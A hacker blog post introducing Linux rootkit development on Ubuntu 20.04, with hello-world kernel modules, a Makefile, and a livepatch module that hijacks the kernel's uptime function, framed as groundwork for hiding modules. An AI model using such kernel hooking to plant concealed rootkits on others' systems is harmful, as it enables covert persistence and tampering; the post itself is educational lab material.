<!DOCTYPE html>
<html lang="en">
  <head>
      
      
      
      

<!-- Primary Meta Tags -->
<title>UNLEASH THE BEAST | THE FUTURE | H O M E</title>
<meta name="title" content="UNLEASH THE BEAST | THE FUTURE">
<meta name="description" content="Expect memes, food for thoughts, tech guidelines and trash talk daily.">
<meta name="robots" content="index, follow" />
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge" />

<!-- Open Graph / Facebook -->
<meta property="og:type" content="website">
<meta property="og:url" content="https://devilinside.me/">
<meta property="og:title" content="UNLEASH THE BEAST | THE FUTURE">
<meta property="og:description" content="Expect memes, food for thoughts, tech guidelines and trash talk daily.">
<meta property="og:image" content="https://devilinside.me/static/jpg/sigil.jpg">

<!-- Twitter -->
<meta property="twitter:card" content="summary_large_image">
<meta property="twitter:url" content="https://devilinside.me/">
<meta property="twitter:title" content="UNLEASH THE BEAST | THE FUTURE">
<meta property="twitter:description" content="Expect memes, food for thoughts, tech guidelines and trash talk daily.">
<meta property="twitter:image" content="https://devilinside.me/static/jpg/sigil.jpg">
      
      

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <link rel="stylesheet" href="/static/CACHE/css/output.5e19a6cfac1a.css" type="text/css" media="screen"><link rel="stylesheet" href="/static/CACHE/css/output.b8d722cea97a.css" type="text/css">
    <script src="/static/CACHE/js/output.843f150ba5fa.js"></script>


      <link rel="stylesheet" href="/static/CACHE/css/output.c560456f8275.css" type="text/css">
  </head>
  <body>

      <!-- Containers
      ================================================== -->
      <div class="bs-docs-section container">

        <div class="row">
          <div class="col-lg-12">
            <div class="page-header">
		<div class="container" style="max-width: max-content;"><img alt="cool head picture" src="/static/gif/2.gif" style="vertical-align: center;" border="1px"></div>
		    <center><h2 id="vaporwave" class="retro"> ＵＮＬＥ⛧ＳＨ　ＴＨＥ　ＢＥＡＳＴ　ト何ゼ  </h2></center>
          <table id="menu" >
	          <tr><td id="title" style="text-align:center" colspan='10'><b>[</b><a href="/" >ＭＥＮＵ</a><b>]</b></td></tr>
	          
                  <tr>
                  <td>    <a href = "/categories/thoughts"><b>[</b>THOUGHTS<b>]</b></a> </td>
                  
                  
                  
                  <td>    <a href = "/categories/resources"><b>[</b>TECH RESOURCES<b>]</b></a> </td>
                  
                  
                  
                  <td>    <a href = "/categories/trash-talk"><b>[</b>TRASH TALK<b>]</b></a> </td>
                  </tr>
                  
                  <tr>
                  <td>    <a href = "/categories/dank-memes"><b>[</b>DANK MEMES<b>]</b></a> </td>
                  
                  
                  
                  <td>    <a href = "/categories/featured-artists"><b>[</b>FEATURED ARTISTS<b>]</b></a> </td>
                  
                  
                  
                  <td>    <a href = "/categories/w"><b>[</b>W<b>]</b></a> </td>
                  </tr>
                  
            </table>
            </div>
            <div class="bs-component">
              <div class="jumbotron">
                  <h2> Becoming a rat in your system</h2>
                  <h4 style="text-align:right"> April 19, 2021 // echel0n</h4>
                  <h1 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">Becoming a rat in your own system</h1>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
This week I have completed the rootkit challenge from pwnablekr. 
I had a problem with finding the kernel headers (3.7.1) in that challenge. 
Then, decided to patch the original challenge file and I've failed in that part too. 
My friend helped with the patching steps of it. 
I completed the task but I was not very satisfied. 
Then I wondered how current rootkits are being placed.
All examples are valid for Ubuntu 20.04 and 5.8 kernel version. 
</p>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">Are you bored from being only a user in your own system?
    <br> Do you want to feel closer to your computer while using it?
    <br> You have second personality and don't you want your otherside to know what you're doing on the computer?
    <br> Do you want to look cool among your friends?
    <br> Ricing* userland is not enough?
    <br> Are you ready????? It's time to div<span style="color: rgb(255, 0, 0);">BUG: unable to handle kernel NULL pointer dereference at 0000000000000002
    IP: [&lt;0000000000000002&gt;] 0x2
    PGD 0 
    Oops: 0010 [#1] SMP 
    last sysfs file: /sys/devices/system/cpu/online
    CPU 7 
    Modules linked in: nfs nfsd lockd nfs_acl auth_rpcgss sunrpc 8021q garp stp llc cpufreq_ondemand freq_table pcc_cpufreq cachefiles fscache(T) ipv6 ipt_REJECT nf_conntrack_ipv4 nf_defrag_ipv4 xt_state nf_conntrack iptable_filter ip_tables xfs exportfs ext2 power_meter acpi_ipmi ipmi_si ipmi_msghandler microcode iTCO_wdt iTCO_vendor_support hpilo hpwdt igb i2c_algo_bit i2c_core ptp pps_core sg serio_raw lpc_ich mfd_core ioatdma dca shpchp ext4 jbd2 mbcache sd_mod crc_t10dif hpsa ahci dm_mirror dm_region_hash dm_log dm_mod [last unloaded: scsi_wait_scan]
    
    Pid: 42993, comm: kslowd002 Tainted: G           -- ------------  T 2.6.32-642.1.1.el6.x86_64 #1 HP ProLiant DL360e Gen8
    RIP: 0010:[&lt;0000000000000002&gt;]  [&lt;0000000000000002&gt;] 0x2
    RSP: 0018:ffff880100003dd8  EFLAGS: 00010202
    RAX: ffffffffa0465a80 RBX: ffff8801bc7da200 RCX: ffff8801bc7da2a8
    RDX: 0000000000000002 RSI: 00000000ffffffff RDI: ffff8801bc7da200
    RBP: ffff880100003e20 R08: ffffffff81ad12d8 R09: fe2582cc8764a601
    R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
    R13: ffff8801bc7da248 R14: ffff8801bc7da290 R15: 00000000ffffffff
    FS:  0000000000000000(0000) GS:ffff8800380e0000(0000) knlGS:0000000000000000
    CS:  0010 DS: 0018 ES: 0018 CR0: 000000008005003b
    CR2: 0000000000000002 CR3: 0000000001a8d000 CR4: 00000000000407e0
    DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
    DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    Process kslowd002 (pid: 42993, threadinfo ffff880100000000, task ffff88040d88d520)
    Stack:
     ffffffffa0460e9f ffff880100003e00 ffff8801bc7da238 ffff8801bc7da298
     &lt;d&gt; 0000000000000002 ffffffff81f55ec0 ffff8801bc7da290 ffff8801bc7da298
     &lt;d&gt; 0000000000000001 ffff880100003e60 ffffffff81121363 ffff880100003e60
    Call Trace:
     [&lt;ffffffffa0460e9f&gt;] ? fscache_object_slow_work_execute+0xaf/0x1c0 [fscache]
     [&lt;ffffffff81121363&gt;] slow_work_execute+0x233/0x310
     [&lt;ffffffff81121645&gt;] slow_work_thread+0x205/0x360
     [&lt;ffffffff810a6ac0&gt;] ? autoremove_wake_function+0x0/0x40
     [&lt;ffffffff81121440&gt;] ? slow_work_thread+0x0/0x360
     [&lt;ffffffff810a662e&gt;] kthread+0x9e/0xc0
     [&lt;ffffffff8100c28a&gt;] child_rip+0xa/0x20
     [&lt;ffffffff810a6590&gt;] ? kthread+0x0/0xc0
     [&lt;ffffffff8100c280&gt;] ? child_rip+0x0/0x20
    Code:  Bad RIP value.
    RIP  [&lt;0000000000000002&gt;] 0x2
     RSP &lt;ffff880100003dd8&gt;
    CR2: 0000000000000002e
</span></p>
<h5 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">[*] [Ricing]</h5>
<div class="highlight"><pre><span></span><ol><li><div class="line">Making improvements to a system that don&#39;t actually do anyone any good, and can sometimes have negative ramifications
</div></li></ol></pre></div>


<h2 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">&gt;Rootkits</h2>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">Let's start with definiton! In "WRITING A SIMPLE ROOTKIT FOR LINUX" article, it is very well described. </p>
<a href="https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt" style="color:aqua">Original article link is dead, archive.org link here.</a>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    omni:<br>
    What is a rootkit? When you break into sb's system you will probably want to be able to "come back" there after some time. 
    When you install a rootkit in that system you will be able to get administrator privileges whenever you want. Good rootkits can hide in compromised system,
    so that they  can't be found by administrator.</p>

<div class="highlight"><pre><span></span><ol><li><div class="line">Errm...
</div></li><li><div class="line">    yeah i am the administrator in my personal computer.
</div></li><li><div class="line">    I havent found a malware that hidden on my system.
</div></li><li><div class="line">    What do you mean by that, they can hide somewhere I can&#39;t see? 
</div></li><li><div class="line">    If... What if somebody already broke into my computer and installed rootkits for years?
</div></li><li><div class="line">    What if they backdoored all installer iso images of mine?
</div></li><li><div class="line">    Please? are you there? can you say something? 
</div></li><li><div class="line">    E
</div></li></ol></pre></div>

<img src="https://i.ytimg.com/vi/hco83dXxbYg/maxresdefault.jpg" style="width: 100%;">


<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">With elite google skillz, I found a really 1337 guy, <a style="color:aqua" href="https://github.com/xcellerator">xcellerator</a>.
     He is quite active on his <a style="color: aqua" href="https://xcellerator.github.io"> website.</a>
     His articles contain tremendous informations.
</p>

<h3 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;"> Before compiling and throwing gang signs</h3>
<div class="highlight"><pre><span></span><ol><li><div class="line">$ sudo apt-get install build-essential linux-headers-$(uname -r)
</div></li></ol></pre></div>

<h4 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">What exactly are Linux kernel headers?</h4>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">Header files define interfaces to functions as well as structures used by programs.
 In the case of the kernel header files, these functions and structures are within the kernel itself.    
 If you are compiling a device driver or other loadable module which links into the kernel then you need the header files.
</p>

<h2 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">&gt;The Simplest LKM (Linux Kernel Module)</h2>
<a href="https://tldp.org/LDP/lkmpg/2.6/html/x121.html"> TLDP | Hello, World (part 1): The Simplest Module</a>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> Let's start with tldp.org example</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cm">/*  </span>
</div></li><li><div class="line"><span class="cm">*  hello-1.c - The simplest kernel module.</span>
</div></li><li><div class="line"><span class="cm">*/</span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;	/* Needed by all modules */</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;	/* Needed for KERN_INFO */</span><span class="cp"></span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">int</span> <span class="nf">init_module</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">&quot;Hello world 1.</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="cm">/* </span>
</div></li><li><div class="line"><span class="cm">    * A non 0 return means init_module failed; module can&#39;t be loaded. </span>
</div></li><li><div class="line"><span class="cm">    */</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">cleanup_module</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">&quot;Goodbye world 1.</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li></ol></pre></div>


<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> It is a valid hello world module and ready to compile but the function names are not required to be 
    <strong>init_module</strong> &amp; <strong>cleanup_module</strong> anymore.
    Here is a better hello world module below.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line">
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">my_first_lkm_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">&quot;Hello, World!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">my_first_lkm_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">&quot;Goodbye, World!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="n">module_init</span><span class="p">(</span><span class="n">my_first_lkm_init</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">module_exit</span><span class="p">(</span><span class="n">my_first_lkm_exit</span><span class="p">);</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="cm">/*</span>
</div></li><li><div class="line"><span class="cm">* can be seen in modinfo example.ko</span>
</div></li><li><div class="line"><span class="cm">*/</span>
</div></li><li><div class="line"><span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">&quot;GPL&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">&quot;UNLEASHED&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">&quot;A E S T H E T I C    M O  D U L E&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">&quot;42.69&quot;</span><span class="p">);</span>
</div></li></ol></pre></div>


<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> Create a file named as<strong> Makefile</strong></p>

<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp"># warning: change example.o with your .c filename </span>
</div></li><li><div class="line"><span class="n">obj</span><span class="o">-</span><span class="n">m</span> <span class="o">+=</span> <span class="n">example</span><span class="p">.</span><span class="n">o</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="nl">all</span><span class="p">:</span>
</div></li><li><div class="line">	<span class="n">make</span> <span class="o">-</span><span class="n">C</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">modules</span><span class="o">/</span><span class="err">$</span><span class="p">(</span><span class="n">shell</span> <span class="n">uname</span> <span class="o">-</span><span class="n">r</span><span class="p">)</span><span class="o">/</span><span class="n">build</span> <span class="n">M</span><span class="o">=</span><span class="err">$</span><span class="p">(</span><span class="n">PWD</span><span class="p">)</span> <span class="n">modules</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="nl">clean</span><span class="p">:</span>
</div></li><li><div class="line">	<span class="n">make</span> <span class="o">-</span><span class="n">C</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">modules</span><span class="o">/</span><span class="err">$</span><span class="p">(</span><span class="n">shell</span> <span class="n">uname</span> <span class="o">-</span><span class="n">r</span><span class="p">)</span><span class="o">/</span><span class="n">build</span> <span class="n">M</span><span class="o">=</span><span class="err">$</span><span class="p">(</span><span class="n">PWD</span><span class="p">)</span> <span class="n">clean</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">Then run <strong>make</strong> command in bash.</p>
<div class="highlight"><pre><span></span><ol><li><div class="line">$ modinfo example.ko
</div></li><li><div class="line">filename:       /home/unleashed/rootkits/example.ko
</div></li><li><div class="line">version:        <span class="m">42</span>.69
</div></li><li><div class="line">description:    A E S T H E T I C    M O  D U L E
</div></li><li><div class="line">author:         UNLEASHED
</div></li><li><div class="line">license:        GPL
</div></li><li><div class="line">srcversion:     1D9B7998FA4226B2B729D4F
</div></li><li><div class="line">depends:        
</div></li><li><div class="line">retpoline:      Y
</div></li><li><div class="line">name:           example
</div></li><li><div class="line">vermagic:       <span class="m">5</span>.8.0-43-generic SMP mod_unload
</div></li></ol></pre></div>


<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">It's ready to be load, load the module with insmod command.</p>
<div class="highlight"><pre><span></span><ol><li><div class="line">$ sudo insmod example.ko
</div></li><li><div class="line">$ dmesg <span class="p">|</span> tail
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">7</span>.101138<span class="o">]</span> audit: <span class="nv">type</span><span class="o">=</span><span class="m">1400</span> audit<span class="o">(</span><span class="m">1618494843</span>.063:11<span class="o">)</span>: <span class="nv">apparmor</span><span class="o">=</span><span class="s2">&quot;STATUS&quot;</span> <span class="nv">operation</span><span class="o">=</span><span class="s2">&quot;profile_load&quot;</span> <span class="nv">profile</span><span class="o">=</span><span class="s2">&quot;unconfined&quot;</span> <span class="nv">name</span><span class="o">=</span><span class="s2">&quot;/{,usr/}sbin/dhclient&quot;</span> <span class="nv">pid</span><span class="o">=</span><span class="m">730</span> <span class="nv">comm</span><span class="o">=</span><span class="s2">&quot;apparmor_parser&quot;</span>
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">7</span>.272028<span class="o">]</span> NET: Registered protocol family <span class="m">40</span>
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">8</span>.646946<span class="o">]</span> e1000: ens33 NIC Link is Up <span class="m">1000</span> Mbps Full Duplex, Flow Control: None
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">8</span>.647995<span class="o">]</span> IPv6: ADDRCONF<span class="o">(</span>NETDEV_CHANGE<span class="o">)</span>: ens33: link becomes ready
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">13</span>.382117<span class="o">]</span> rfkill: input handler disabled
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">41</span>.156004<span class="o">]</span> rfkill: input handler enabled
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">49</span>.571363<span class="o">]</span> rfkill: input handler disabled
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.521334<span class="o">]</span> example: loading out-of-tree module taints kernel.
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.521372<span class="o">]</span> example: module verification failed: signature and/or required key missing - tainting kernel
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.522413<span class="o">]</span> Hello, World!
</div></li><li><div class="line">$ sudo rmmod example
</div></li><li><div class="line">$ dmesg <span class="p">|</span> tail
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">7</span>.272028<span class="o">]</span> NET: Registered protocol family <span class="m">40</span>
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">8</span>.646946<span class="o">]</span> e1000: ens33 NIC Link is Up <span class="m">1000</span> Mbps Full Duplex, Flow Control: None
</div></li><li><div class="line"><span class="o">[</span>    <span class="m">8</span>.647995<span class="o">]</span> IPv6: ADDRCONF<span class="o">(</span>NETDEV_CHANGE<span class="o">)</span>: ens33: link becomes ready
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">13</span>.382117<span class="o">]</span> rfkill: input handler disabled
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">41</span>.156004<span class="o">]</span> rfkill: input handler enabled
</div></li><li><div class="line"><span class="o">[</span>   <span class="m">49</span>.571363<span class="o">]</span> rfkill: input handler disabled
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.521334<span class="o">]</span> example: loading out-of-tree module taints kernel.
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.521372<span class="o">]</span> example: module verification failed: signature and/or required key missing - tainting kernel
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2931</span>.522413<span class="o">]</span> Hello, World!
</div></li><li><div class="line"><span class="o">[</span> <span class="m">2971</span>.527637<span class="o">]</span> Goodbye, World!
</div></li></ol></pre></div>

<h3 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">Changing kernel functions behaviour</h3>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    Let's say, you have a really critical server that must be run without a downtime. 
    One day, some deadly vulnerabilities are found in that server's kernel version.
    At this point, you have to upgrade your system and reboot it to run with new patched kernel right?
    It was like that until 2008. But now "Live Patching" is available. It allows us to keep our Linux servers kernels up-to-date
    without the need to reboot.
</p>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> We can check the source code that provided in linux samples.</p>
<a href="https://github.com/torvalds/linux/blob/master/samples/livepatch/livepatch-sample.c"> livepatch-sample.c example github link</a>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">It overwrites <strong>/proc/cmdline</strong>. Let's do another example that overwrites another thing!</p>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">I choose <strong>uptime_proc_show</strong> function in <strong>fs/proc/uptime.c</strong>.</p>
<a href="https://github.com/torvalds/linux/blob/master/fs/proc/uptime.c">uptime.c github link</a>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/livepatch.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/seq_file.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_uptime_proc_show</span><span class="p">(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">m</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">seq_printf</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="s">&quot;%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="s">&quot;i stole your uptime! no uptime information for you. feck off...&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_func</span> <span class="n">funcs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">old_name</span> <span class="o">=</span> <span class="s">&quot;uptime_proc_show&quot;</span><span class="p">,</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">new_func</span> <span class="o">=</span> <span class="n">livepatch_uptime_proc_show</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_object</span> <span class="n">objs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="cm">/* name being NULL means vmlinux */</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">funcs</span> <span class="o">=</span> <span class="n">funcs</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_patch</span> <span class="n">patch</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">mod</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">objs</span> <span class="o">=</span> <span class="n">objs</span><span class="p">,</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="n">klp_enable_patch</span><span class="p">(</span><span class="o">&amp;</span><span class="n">patch</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">void</span> <span class="nf">livepatch_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line"><span class="n">module_init</span><span class="p">(</span><span class="n">livepatch_init</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">module_exit</span><span class="p">(</span><span class="n">livepatch_exit</span><span class="p">);</span>
</div></li><li><div class="line"><span class="cm">/*</span>
</div></li><li><div class="line"><span class="cm">* can be seen in modinfo example.ko</span>
</div></li><li><div class="line"><span class="cm">*/</span>
</div></li><li><div class="line"><span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">&quot;GPL&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">&quot;UNLEASHED&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">&quot;A E S T H E T I C    M O  D U L E&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">&quot;42.69&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_INFO</span><span class="p">(</span><span class="n">livepatch</span><span class="p">,</span> <span class="s">&quot;Y&quot;</span><span class="p">);</span>
</div></li></ol></pre></div>

<div class="highlight"><pre><span></span><ol><li><div class="line">$ make
</div></li><li><div class="line">make -C /lib/modules/5.8.0-43-generic/build <span class="nv">M</span><span class="o">=</span>/home/unleashed/rootkits/livepatch_example modules
</div></li><li><div class="line">make<span class="o">[</span><span class="m">1</span><span class="o">]</span>: Entering directory <span class="s1">&#39;/usr/src/linux-headers-5.8.0-43-generic&#39;</span>
</div></li><li><div class="line">make<span class="o">[</span><span class="m">1</span><span class="o">]</span>: Leaving directory <span class="s1">&#39;/usr/src/linux-headers-5.8.0-43-generic&#39;</span>
</div></li><li><div class="line">$ sudo insmod livepatch.ko
</div></li><li><div class="line">$ cat /proc/uptime
</div></li><li><div class="line">i stole your uptime! no uptime information <span class="k">for</span> you. feck off...
</div></li><li><div class="line">$ sudo su
</div></li><li><div class="line"><span class="c1"># echo 0 &gt; /sys/kernel/livepatch/livepatch/enabled</span>
</div></li><li><div class="line"><span class="c1"># rmmod livepatch</span>
</div></li><li><div class="line"><span class="c1"># cat /proc/uptime</span>
</div></li><li><div class="line"><span class="m">5818</span>.87 <span class="m">23138</span>.95
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> It's pretty cool! huh?</p>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> So far so good, we could compile our LKM and patched our kernel without boot. There's still one problem.
 The problem is these modules can be seen in <strong>lsmod</strong> output and it can be detectable from even userspace.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line">$ dmesg <span class="p">|</span> tail -n <span class="m">5</span>
</div></li><li><div class="line"><span class="o">[</span> <span class="m">5809</span>.501167<span class="o">]</span> livepatch: <span class="s1">&#39;livepatch&#39;</span>: starting unpatching transition
</div></li><li><div class="line"><span class="o">[</span> <span class="m">5811</span>.046974<span class="o">]</span> livepatch: <span class="s1">&#39;livepatch&#39;</span>: unpatching <span class="nb">complete</span>
</div></li><li><div class="line"><span class="o">[</span> <span class="m">6498</span>.631116<span class="o">]</span> livepatch: enabling patch <span class="s1">&#39;livepatch&#39;</span>
</div></li><li><div class="line"><span class="o">[</span> <span class="m">6498</span>.632878<span class="o">]</span> livepatch: <span class="s1">&#39;livepatch&#39;</span>: starting patching transition
</div></li><li><div class="line"><span class="o">[</span> <span class="m">6500</span>.067149<span class="o">]</span> livepatch: <span class="s1">&#39;livepatch&#39;</span>: patching <span class="nb">complete</span>
</div></li></ol></pre></div>

<div class="highlight"><pre><span></span><ol><li><div class="line">$ lsmod <span class="p">|</span> grep -i livepatch
</div></li><li><div class="line">livepatch  <span class="m">16384</span>  <span class="m">1</span>
</div></li></ol></pre></div>

